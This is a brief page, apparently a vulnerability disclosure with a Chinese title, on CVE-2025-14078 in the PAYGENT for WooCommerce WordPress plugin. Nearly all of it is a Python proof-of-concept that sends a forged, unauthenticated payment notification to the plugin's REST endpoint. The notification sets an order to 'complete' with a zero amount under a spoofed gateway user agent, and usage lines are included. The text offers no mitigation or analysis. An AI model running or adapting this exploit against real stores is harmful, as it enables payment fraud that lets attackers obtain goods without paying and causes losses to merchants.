CVE-2025-14078: WordPress PAYGENT WooCommerce插件未授权订单状态修改漏洞

import requests import json # CVE-2025-14078 PoC - Unauthenticated Order Status Manipulation # Target: WordPress site with PAYGENT WooCommerce plugin <= 2.4.6 # Endpoint: /wp-json/paygent/v1/check/ def exploit_paygent_unauthorized_access(target_url, order_id): """ Exploit for Missing Authorization vulnerability in PAYGENT for WooCommerce Allows unauthenticated attackers to manipulate order status via forged payment notifications """ endpoint = f"{target_url.rstrip('/')}/wp-json/paygent/v1/check/" # Forge payment notification payload # Attacker can set arbitrary order status values payload = { "order_id": order_id, "payment_status": "complete", # Forge successful payment "payment_id": "MALICIOUS-" + str(order_id), "amount": 0, "currency": "JPY" } headers = { "Content-Type": "application/json", "User-Agent": "PAYJENT Payment Gateway/1.0" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Target: {target_url}") print(f"[*] Endpoint: {endpoint}") print(f"[*] Payload: {json.dumps(payload)}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] Exploit successful - Order status may have been modified") else: print("[-] Exploit may have failed") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Usage example # target = "https://vulnerable-wordpress-site.com" # order_id = 12345 # exploit_paygent_unauthorized_access(target, order_id)